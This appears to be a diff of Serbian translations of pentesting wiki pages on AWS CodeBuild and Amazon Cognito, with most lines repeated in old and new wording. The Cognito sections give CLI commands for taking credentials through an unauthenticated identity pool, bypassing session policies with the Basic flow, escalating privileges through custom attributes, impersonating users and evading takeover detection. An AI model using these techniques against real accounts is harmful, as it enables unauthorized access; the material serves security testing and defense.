AWS **CodeBuild** se prepoznaje kao **potpuno upravljana usluga kontinuirane integracije**. Primarna svrha ove usluge je automatizacija sekvence kompajliranja izvornog koda, izvršavanja testova i pakovanja softvera za svrhe implementacije. Glavna prednost koju nudi CodeBuild leži u njegovoj sposobnosti da olakša korisnicima potrebu za obezbeđivanjem, upravljanjem i skaliranjem svojih build servera. Ova pogodnost dolazi zato što sama usluga upravlja tim zadacima. Osnovne karakteristike AWS CodeBuild obuhvataju:
1. **Upravljana usluga**: CodeBuild upravlja i skalira build servere, oslobađajući korisnike od održavanja servera.
2. **Kontinuirana integracija**: Integrira se sa razvojnim i implementacionim radnim tokom, automatizujući faze build-a i testiranja procesa objavljivanja softvera.
@@ -16,13 +16,13 @@ AWS CodeBuild se besprekorno integriše sa drugim AWS uslugama, poboljšavajući
#### **Podrazumevani izvorni akreditivi**
Ovo je opcija iz nasleđa gde je moguće konfigurisati neki **pristup** (kao što je Github token ili aplikacija) koji će biti **deljen između codebuild projekata** tako da svi projekti mogu koristiti ovaj konfigurisani set akreditiva.
Ovo je opcija iz prošlosti gde je moguće konfigurisati neke **pristupe** (kao što je Github token ili aplikacija) koji će biti **deljeni među codebuild projektima** tako da svi projekti mogu koristiti ovaj konfigurisani set akreditiva.
Skladišteni akreditivi (tokeni, lozinke...) su **upravljao codebuild** i ne postoji javni način da se oni dobiju iz AWS API-ja.
Skladišteni akreditivi (tokeni, lozinke...) su **upravlja od strane codebuild** i ne postoji javni način da se do njih dođe putem AWS API-ja.
#### Prilagođeni izvorni akreditiv
U zavisnosti od platforme repozitorijuma (Github, Gitlab i Bitbucket) pružaju se različite opcije. Ali generalno, svaka opcija koja zahteva **smeštanje tokena ili lozinke će je sačuvati kao tajnu u menadžeru tajni**.
U zavisnosti od platforme repozitorijuma (Github, Gitlab i Bitbucket) pružaju se različite opcije. Ali generalno, svaka opcija koja zahteva **smeštanje tokena ili lozinke će ih sačuvati kao tajnu u menadžeru tajni**.
To omogućava **različitim codebuild projektima da koriste različite konfigurisane pristupe** provajderima umesto da koriste samo konfigurisani podrazumevani.
@@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn <ARN>
```
### Privesc
Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole za codebuild da biste eskalirali privilegije**:
Na sledećoj stranici možete proveriti kako da **zloupotrebite codebuild dozvole za eskalaciju privilegija**:
{{#ref}}
../aws-privilege-escalation/aws-codebuild-privesc.md
@@ -8,7 +8,7 @@ Amazon Cognito se koristi za **autentifikaciju, autorizaciju i upravljanje koris
Centralni deo Amazon Cognito čine dve glavne komponente:
1. **User Pools**: Ovo su direktorijumi dizajnirani za korisnike vaše aplikacije, nudeći **funkcionalnosti za registraciju i prijavu**.
1. **User Pools**: Ovo su direktorijumi dizajnirani za korisnike vaše aplikacije, koji nude **funkcionalnosti registracije i prijave**.
2. **Identity Pools**: Ove grupe su ključne za **autorizaciju korisnika za pristup različitim AWS uslugama**. Nisu direktno uključene u proces prijave ili registracije, ali su od suštinskog značaja za pristup resursima nakon autentifikacije.
### **User pools**
@@ -73,7 +73,7 @@ aws cognito-idp describe-risk-configuration --user-pool-id <user-pool-id>
```
### Identity Pools - Neautentifikovana Enumeracija
Samo **znajući ID identitetskog bazena** možda ćete moći **dobiti kredencijale uloge povezane sa neautentifikovanim** korisnicima (ako ih ima). [**Proverite kako ovde**](cognito-identity-pools.md#accessing-iam-roles).
Samo **znajući ID identiteta** možda ćete moći **dobiti kredencijale uloge povezane sa neautentifikovanim** korisnicima (ako ih ima). [**Proverite kako ovde**](cognito-identity-pools.md#accessing-iam-roles).
### User Pools - Neautentifikovana Enumeracija
@@ -91,7 +91,7 @@ Samo **znajući ID identitetskog bazena** možda ćete moći **dobiti kredencija
../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
{{#endref}}
## Postojanost
## Persistencija
{{#ref}}
../../aws-persistence/aws-cognito-persistence.md
@@ -4,13 +4,13 @@
## Osnovne informacije
Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da **dobiju privremene akreditive**. Ovi akreditivi su neophodni za pristup raznim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Istaknuta karakteristika identity pools je njihova podrška za anonimne gostujuće korisnike i niz provajdera identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju:
Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da **dobiju privremene akreditive**. Ovi akreditive su neophodni za pristup raznim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Značajna karakteristika identity pools je njihova podrška za anonimne gostujuće korisnike i niz provajdera identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju:
- Amazon Cognito korisničke pool-ove
- Amazon Cognito user pools
- Opcije prijave putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple
- Provajdere koji su u skladu sa OpenID Connect (OIDC)
- SAML (Security Assertion Markup Language) provajdere identiteta
- Identitete koje autentifikuje programer
- Provajderi usklađeni sa OpenID Connect (OIDC)
- SAML (Security Assertion Markup Language) provajderi identiteta
- Identiteti autentifikovani od strane developera
```python
# Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
import boto3
@@ -43,7 +43,7 @@ Pored toga, usluga **cognito-sync** je usluga koja omogućava **upravljanje i si
### Tools for pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima itd.
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS framework za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima, itd.
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu.
@@ -55,11 +55,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. vidljivih u trenutnom AWS nalogu:
Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu:
```bash
Pacu (new:test) > run cognito__enum
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identitetskog bazena.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identiteta.
#### Instalacija
```bash
@@ -71,14 +71,14 @@ $ cognito-scanner --help
```
Za više informacija proverite https://github.com/padok-team/cognito-scanner
## Pristup IAM Ulogama
## Pristup IAM rolama
### Neautentifikovani
Jedina stvar koju napadač treba da zna da bi **dobio AWS kredencijale** u Cognito aplikaciji kao neautentifikovani korisnik je **ID identitetskog bazena**, i ovaj **ID mora biti hardkodiran** u web/mobilnoj **aplikaciji** da bi se koristio. ID izgleda ovako: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nije moguće izvršiti bruteforce).
> [!TIP]
> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu zove `Cognito_<Ime identitetskog bazena>Unauth_Role`
> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu naziva `Cognito_<Ime identitetskog bazena>Unauth_Role`
Ako pronađete ID identitetskog bazena hardkodiran i omogućava neautentifikovanim korisnicima, možete dobiti AWS kredencijale sa:
```python
@@ -112,11 +112,11 @@ aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
```
> [!WARNING]
> Imajte na umu da po default-u neautentifikovani cognito **korisnik NE MOŽE imati nikakva ovlašćenja, čak i ako su dodeljena putem politike**. Proverite sledeću sekciju.
> Imajte na umu da po default-u neautentifikovani cognito **korisnik NE MOŽE imati nikakva prava, čak i ako su dodeljena putem politike**. Proverite sledeću sekciju.
### Poboljšani vs Osnovni tok autentifikacije
### Poboljšan vs Osnovni tok autentifikacije
Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/#session-policies) za IAM ulogu koja je generisana. Ova politika će omogućiti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama).
Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/#session-policies) za IAM ulogu generisanu tokom sesije. Ova politika će dozvoliti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama).
Međutim, postoji način da se to zaobiđe, ako je **Identitetski bazen omogućio "Osnovni (Klasični) Tok"**, korisnik će moći da dobije sesiju koristeći taj tok koji **neće imati tu restriktivnu politiku sesije**.
```bash
@@ -142,14 +142,14 @@ Imajući set IAM kredencijala, trebali biste proveriti [koje pristupe imate](../
> [!NOTE]
> Zapamtite da će **autentifikovani korisnici** verovatno imati **različite dozvole**, pa ako možete **da se prijavite unutar aplikacije**, pokušajte to i dobijte nove kredencijale.
Takođe mogu postojati **uloge** dostupne za **autentifikovane korisnike koji pristupaju Identity Pool**.
Takođe bi mogli postojati **rolе** dostupne za **autentifikovane korisnike koji pristupaju Identity Pool-u**.
Za to možda ćete morati da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete da iskoristite podrazumevano ponašanje i **napravite novog korisnika sami**.
Za to možda treba da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete da iskoristite podrazumevano ponašanje i **napravite novog korisnika sami**.
> [!TIP]
> **IAM Cognito autentifikovana uloga kreirana putem** se podrazumevano naziva `Cognito_<Ime identitetskog bazena>Auth_Role`
> **IAM Cognito autentifikovana uloga kreirana putem** se podrazumevano naziva `Cognito_<Ime Identity Pool-a>Auth_Role`
U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool** koji se koristi za pristup Identity Pool-u (ne zaboravite da se drugi tipovi provajdera identiteta takođe mogu konfigurisati).
U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool-a** koji se koristi za pristup Identity Pool-u (ne zaboravite da se drugi tipovi provajdera identiteta takođe mogu konfigurisati).
<pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
--identity-pool-id &#x3C;identity_pool_id> \
@@ -161,7 +161,7 @@ aws cognito-identity get-credentials-for-identity \
--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog grupa User Pool-a
# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog User Pool Grupa
# Koristite --custom-role-arn da dobijete kredencijale za specifičnu ulogu
aws cognito-identity get-credentials-for-identity \
--identity-id &#x3C;identity_id> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
</code></pre>
> [!WARNING]
> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istog ili različitih provajdera, možda bi **bilo korisno da se prijavite i pristupite IAM ulogama svih njih**.
> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi **bilo korisno da se prijavite i pristupite IAM ulogama svih njih**.
{{#include ../../../../banners/hacktricks-training.md}}
@@ -4,29 +4,29 @@
## Osnovne informacije
Korisnički bazen je direktorij korisnika u Amazon Cognito. Sa korisničkim bazenom, vaši korisnici mogu **prijaviti se na vašu veb ili mobilnu aplikaciju** putem Amazon Cognito, **ili se federisati** putem **treće strane** provajdera identiteta (IdP). Bez obzira da li se vaši korisnici prijavljuju direktno ili putem treće strane, svi članovi korisničkog bazena imaju profil u direktorijumu kojem možete pristupiti putem SDK-a.
User pool je direktorijum korisnika u Amazon Cognito. Sa user pool-om, vaši korisnici mogu **da se prijave na vašu web ili mobilnu aplikaciju** putem Amazon Cognito, **ili da se federišu** putem **treće strane** provajdera identiteta (IdP). Bilo da se vaši korisnici prijavljuju direktno ili putem treće strane, svi članovi user pool-a imaju profil u direktorijumu kojem možete pristupiti putem SDK-a.
Korisnički bazeni pružaju:
User pool-ovi pružaju:
- Usluge registracije i prijavljivanja.
- Ugrađeni, prilagodljivi veb UI za prijavljivanje korisnika.
- Društveno prijavljivanje putem Facebook-a, Google-a, Login with Amazon, i Sign in with Apple, kao i putem SAML i OIDC provajdera identiteta iz vašeg korisničkog bazena.
- Upravljanje korisničkim direktorijumom i korisničkim profilima.
- Bezbednosne funkcije kao što su višefaktorska autentifikacija (MFA), provere za kompromitovane akreditive, zaštita od preuzimanja naloga, i verifikacija telefona i e-pošte.
- Usluge registracije i prijave.
- Ugrađeni, prilagodljivi web UI za prijavu korisnika.
- Društvenu prijavu putem Facebook-a, Google-a, Login with Amazon, i Sign in with Apple, kao i putem SAML i OIDC provajdera identiteta iz vašeg user pool-a.
- Upravljanje direktorijumom korisnika i korisničkim profilima.
- Bezbednosne funkcije kao što su višefaktorska autentifikacija (MFA), provere za kompromitovane akreditive, zaštita od preuzimanja naloga, i verifikacija telefona i email-a.
- Prilagođeni radni tokovi i migracija korisnika putem AWS Lambda okidača.
**Izvorni kod** aplikacija obično takođe sadrži **ID korisničkog bazena** i **ID klijentske aplikacije**, (i ponekad **tajnu aplikacije**?) koji su potrebni za **prijavu korisnika** u Cognito korisnički bazen.
**Izvorni kod** aplikacija obično takođe sadrži **user pool ID** i **ID klijentske aplikacije**, (i ponekad **tajnu aplikacije**?) koji su potrebni za **prijavu korisnika** u Cognito User Pool.
### Potencijalni napadi
- **Registracija**: Po defaultu, korisnik se može registrovati sam, tako da može kreirati korisnika za sebe.
- **Enumeracija korisnika**: Funkcionalnost registracije može se koristiti za pronalaženje korisničkih imena koja već postoje. Ove informacije mogu biti korisne za napad brute-force.
- **Brute-force prijava**: U [**Autentifikaciji**](cognito-user-pools.md#authentication) imate sve **metode** koje korisnik ima za **prijavu**, mogli biste pokušati da ih brute-force-ujete **pronađete važeće akreditive**.
- **Brute-force prijava**: U [**Autentifikaciji**](cognito-user-pools.md#authentication) imate sve **metode** koje korisnik može koristiti za **prijavu**, možete pokušati da ih brute-force-ujete **da pronađete validne akreditive**.
### Alati za pentesting
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sada uključuje `cognito__enum` i `cognito__attack` module koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih akreditiva identitetskog bazena, preuzimljivih uloga u id tokenima, itd.\
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu stranicu [Pacu](https://github.com/RhinoSecurityLabs/pacu).
- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sada uključuje `cognito__enum` i `cognito__attack` module koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih akreditiva identiteta, preuzimljivih uloga u id tokenima, itd.\
Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu.
```bash
# Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
Pacu (new:test) > run cognito__enum
@@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
```
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i oracle naloga. Proverite [ovaj link](https://github.com/padok-team/cognito-scanner) za više informacija.
- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i oracle naloga. Proverite [this link](https://github.com/padok-team/cognito-scanner) za više informacija.
```bash
# Install
pip install cognito-scanner
@@ -83,16 +83,16 @@ Naći ćete ovu grešku i nećete moći da registrujete ili enumerišete korisni
```
An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
```
### Verifying Registration
### Verifikacija Registracije
Cognito omogućava da **verifikujete novog korisnika verifikovanjem njegovog emaila ili broja telefona**. Stoga, prilikom kreiranja korisnika obično će vam biti potrebni barem korisničko ime i lozinka, kao i **email i/ili broj telefona**. Samo postavite jedan **koji kontrolišete** kako biste primili kod za **verifikaciju vašeg** novokreiranog korisničkog **naloga** ovako:
Cognito omogućava da **verifikujete novog korisnika verifikovanjem njegovog emaila ili broja telefona**. Stoga, prilikom kreiranja korisnika obično će vam biti potrebni barem korisničko ime i lozinka, kao i **email i/ili broj telefona**. Samo postavite jedan **koji kontrolišete** kako biste primili kod za **verifikaciju vašeg** novokreiranog korisničkog **naloga** na sledeći način:
```bash
aws cognito-idp confirm-sign-up --client-id <cliet_id> \
--username aasdasd2 --confirmation-code <conf_code> \
--no-sign-request --region us-east-1
```
> [!WARNING]
> Čak i ako **izgleda da možete koristiti istu email** i telefonski broj, kada treba da verifikujete kreiranog korisnika, Cognito će se žaliti na korišćenje istih informacija i **neće vam dozvoliti da verifikujete nalog**.
> Čak i ako **izgleda da možete koristiti istu email adresu** i broj telefona, kada treba da verifikujete kreiranog korisnika, Cognito će se žaliti na korišćenje istih informacija i **neće vam dozvoliti da verifikujete nalog**.
### Eskalacija privilegija / Ažuriranje atributa
@@ -103,32 +103,32 @@ aws cognito-idp update-user-attributes \
--user-attributes Name=address,Value=street \
--access-token <access token>
```
#### Privelegije prilagođenih atributa
#### Privesc prilagođenih atributa
> [!CAUTION]
> Možete pronaći **prilagođene atribute** koji se koriste (kao što je `isAdmin`), jer po defaultu možete **promeniti vrednosti svojih atributa**, možda ćete moći da **escalate privilegije** menjajući vrednost sami!
#### Privelegije modifikacije emaila/korisničkog imena
#### Privesc modifikacije emaila/korisničkog imena
Možete koristiti ovo da **modifikujete email i broj telefona** korisnika, ali tada, čak i ako račun ostane kao verifikovan, ti atributi su **postavljeni u status neproveren** (morate ih ponovo verifikovati).
> [!WARNING]
> Nećete moći da se prijavite sa emailom ili brojem telefona dok ih ne verifikujete, ali ćete moći da se **prijavite sa korisničkim imenom**.\
> Imajte na umu da čak i ako je email modifikovan i nije verifikovan, pojaviće se u ID Token-u unutar **`email`** **polja** i polje **`email_verified`** će biti **false**, ali ako aplikacija **ne proverava to, možda ćete moći da se pretvarate da ste drugi korisnici**.
> Nećete moći da se prijavite sa emailom ili brojem telefona dok ih ne verifikujete, ali ćete moći da se prijavite sa korisničkim imenom.\
> Imajte na umu da čak i ako je email modifikovan i nije verifikovan, pojaviće se u ID Tokenu unutar **`email`** **polja** i polje **`email_verified`** će biti **false**, ali ako aplikacija **ne proverava to, možda ćete moći da se pretvarate da ste drugi korisnici**.
> Pored toga, imajte na umu da možete staviti bilo šta unutar **`name`** polja jednostavno modifikujući **atribut imena**. Ako aplikacija **proverava** to polje iz nekog razloga **umesto `email`** (ili bilo kog drugog atributa), možda ćete moći da **se pretvarate da ste drugi korisnici**.
U svakom slučaju, ako ste iz nekog razloga promenili svoj email, na primer, na novi na koji možete pristupiti, možete **potvrditi email sa kodom koji ste primili na tu email adresu**:
U svakom slučaju, ako ste iz nekog razloga promenili svoj email, na primer na novi na koji možete pristupiti, možete **potvrditi email sa kodom koji ste primili na tu email adresu**:
```bash
aws cognito-idp verify-user-attribute \
--access-token <access_token> \
--attribute-name email --code <code> \
--region <region> --no-sign-request
```
Koristite **`phone_number`** umesto **`email`** za promenu/verifikaciju **novog broja telefona**.
Koristite **`phone_number`** umesto **`email`** da promenite/overite **novi broj telefona**.
> [!NOTE]
> Administrator takođe može omogućiti opciju da se **prijavi sa korisničkim imenom po izboru korisnika**. Imajte na umu da nećete moći da promenite ovu vrednost na **bilo koje korisničko ime ili preferred_username koje se već koristi** za impersonaciju drugog korisnika.
> Administrator takođe može omogućiti opciju da se **prijavite sa korisničkim imenom po izboru korisnika**. Imajte na umu da nećete moći da promenite ovu vrednost na **bilo koje korisničko ime ili preferred_username koje se već koristi** za impersonaciju drugog korisnika.
### Oporavak/Promena lozinke
@@ -158,13 +158,13 @@ aws cognito-idp change-password \
```
## Autentifikacija
Grupa korisnika podržava **različite načine autentifikacije**. Ako imate **korisničko ime i lozinku**, postoje i **različite metode** za prijavu.\
Pored toga, kada je korisnik autentifikovan u grupi, **dodeljuju se 3 vrste tokena**: **ID token**, **Access token** i **Refresh token**.
Korisnički bazen podržava **različite načine autentifikacije**. Ako imate **korisničko ime i lozinku**, takođe su podržane **različite metode** za prijavu.\
Pored toga, kada je korisnik autentifikovan u bazenu, **dodeljuju se 3 vrste tokena**: **ID token**, **Access token** i **Refresh token**.
- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): Sadrži tvrdnje o **identitetu autentifikovanog korisnika**, kao što su `ime`, `email` i `broj_telefona`. ID token se takođe može koristiti za **autentifikaciju korisnika na vašim serverskim resursima ili aplikacijama**. Morate **verifikovati** **potpis** ID tokena pre nego što možete verovati bilo kojim tvrdnjama unutar ID tokena ako ga koristite u spoljnim aplikacijama.
- ID Token je token koji **sadrži vrednosti atributa korisnika**, čak i prilagođenih.
- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Sadrži tvrdnje o autentifikovanom korisniku, listu **grupa korisnika i listu opsega**. Svrha access tokena je da **ovlasti API operacije** u kontekstu korisnika u grupi korisnika. Na primer, možete koristiti access token da **dodelite svom korisniku pristup** za dodavanje, promenu ili brisanje atributa korisnika.
- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Sa refresh tokenima možete **dobiti nove ID tokene i Access tokene** za korisnika dok **refresh token nije nevažeći**. Po **defaultu**, refresh token **isteče 30 dana nakon** što se korisnik vaše aplikacije prijavi u vašu grupu korisnika. Kada kreirate aplikaciju za vašu grupu korisnika, možete postaviti isteknuće refresh tokena aplikacije na **bilo koju vrednost između 60 minuta i 10 godina**.
- ID Token je token koji **sadrži vrednosti atributa korisnika**, čak i prilagođene.
- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): Sadrži tvrdnje o autentifikovanom korisniku, listu **grupa korisnika i listu opsega**. Svrha access tokena je da **ovlasti API operacije** u kontekstu korisnika u korisničkom bazenu. Na primer, možete koristiti access token da **dodelite svom korisniku pristup** za dodavanje, promenu ili brisanje atributa korisnika.
- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): Sa refresh tokenima možete **dobiti nove ID tokene i Access tokene** za korisnika dok **refresh token nije nevažeći**. Po **defaultu**, refresh token **isteče 30 dana nakon** što se korisnik prijavi u vaš korisnički bazen. Kada kreirate aplikaciju za svoj korisnički bazen, možete postaviti isteka refresh tokena aplikacije na **bilo koju vrednost između 60 minuta i 10 godina**.
### ADMIN_NO_SRP_AUTH & ADMIN_USER_PASSWORD_AUTH
@@ -175,9 +175,9 @@ Ovo je tok autentifikacije sa servera:
Ova **metoda NIJE omogućena** po defaultu.
Da biste **prijavili** se, **morate** znati:
Da biste se **prijavili**, potrebno je da znate:
- id grupe korisnika
- id korisničkog bazena
- id klijenta
- korisničko ime
- lozinku
@@ -185,7 +185,7 @@ Da biste **prijavili** se, **morate** znati:
> [!NOTE]
> Da biste mogli da se **prijavite ovom metodom**, ta aplikacija mora dozvoliti prijavu sa `ALLOW_ADMIN_USER_PASSWORD_AUTH`.\
> Pored toga, da biste izvršili ovu akciju, potrebni su vam kredencijali sa dozvolama **`cognito-idp:AdminInitiateAuth`** i **`cognito-idp:AdminRespondToAuthChallenge`**.
> Pored toga, da biste izvršili ovu akciju, potrebni su vam kredencijali sa dozvolama **`cognito-idp:AdminInitiateAuth`** i **`cognito-idp:AdminRespondToAuthChallenge`**
```python
aws cognito-idp admin-initiate-auth \
--client-id <client-id> \
@@ -256,7 +256,7 @@ Da biste **se prijavili**, potrebno je da znate:
- client secret (samo ako je aplikacija konfigurisana da koristi tajnu)
> [!NOTE]
> Da biste **mogli da se prijavite ovom metodom**, ta aplikacija mora dozvoliti prijavu sa ALLOW_USER_PASSWORD_AUTH.
> Da biste **mogli da se prijavite ovom metodom**, ta aplikacija mora omogućiti prijavu sa ALLOW_USER_PASSWORD_AUTH.
```python
aws cognito-idp initiate-auth --client-id <client-id> \
--auth-flow USER_PASSWORD_AUTH --region <region> \
@@ -310,10 +310,10 @@ print(login_user(username, password, client_id, client_secret, user_pool_id))
### USER_SRP_AUTH
Ova situacija je slična prethodnoj, ali **umesto slanja lozinke** kroz mrežu za prijavu, **izvodi se autentifikacija izazovom** (tako da lozinka ne prolazi čak ni enkriptovana kroz mrežu).\
Ovaj scenario je sličan prethodnom, ali **umesto slanja lozinke** kroz mrežu za prijavu, **izvodi se autentifikacija izazovom** (tako da lozinka ne prolazi čak ni enkriptovana kroz mrežu).\
Ova **metoda je omogućena** po defaultu.
Da biste **prijavili** potrebno je da znate:
Da biste se **prijavili**, potrebno je da znate:
- id korisničkog bazena
- id klijenta
@@ -395,7 +395,7 @@ U ovom slučaju, **autentifikacija** će se vršiti kroz **izvršenje lambda fun
### Napredna sigurnost
Podrazumevano je onemogućena, ali ako je omogućena, Cognito bi mogao da **pronađe preuzimanje naloga**. Da biste minimizirali verovatnoću, trebali biste se prijaviti sa **mreže unutar istog grada, koristeći isti korisnički agent** (i IP ako je to moguće)**.**
Podrazumevano je onemogućena, ali ako je omogućena, Cognito bi mogao da **pronađe preuzimanje naloga**. Da biste smanjili verovatnoću, trebali biste se prijaviti sa **mreže unutar istog grada, koristeći isti korisnički agent** (i IP ako je to moguće)**.**
### **MFA Zapamti uređaj**
@@ -406,19 +406,19 @@ Ako se korisnik prijavi sa istog uređaja, MFA može biti zaobiđena, stoga poku
Moguće je dodati **korisnike u grupe korisničkog bazena** koje su povezane sa jednom **IAM ulogom**.\
Štaviše, **korisnici** mogu biti dodeljeni **više od 1 grupi sa različitim IAM ulogama**.
Napomena: čak i ako je grupa unutar grupe sa dodeljenom IAM ulogom, da bi mogli da pristupite IAM kredencijalima te grupe, potrebno je da **Korisnički bazen bude poveren od strane Identitetskog bazena** (i da znate detalje tog Identitetskog bazena).
Napomena: čak i ako je grupa unutar grupe sa dodeljenom IAM ulogom, da bi mogla da pristupi IAM kredencijalima te grupe, potrebno je da **Korisnički bazen bude poveren Identitetskom bazenu** (i da zna detalje tog Identitetskog bazena).
Još jedan zahtev za dobijanje **IAM uloge navedene u IdToken-u** kada je korisnik autentifikovan u Korisničkom bazenu (`aws cognito-idp initiate-auth...`) je da **provajder autentifikacije identiteta** treba da naznači da **uloga mora biti izabrana iz tokena.**
Još jedan zahtev za dobijanje **IAM uloge navedene u IdToken-u** kada je korisnik autentifikovan u Korisničkom bazenu (`aws cognito-idp initiate-auth...`) je da **provajder autentifikacije identiteta** treba da naznači da **uloga mora biti odabrana iz tokena.**
<figure><img src="../../../../images/image (250).png" alt=""><figcaption></figcaption></figure>
**Uloge** kojima korisnik ima pristup su **unutar `IdToken`**, i korisnik može **izabrati koju ulogu želi za kredencijale** sa **`--custom-role-arn`** iz `aws cognito-identity get-credentials-for-identity`.\
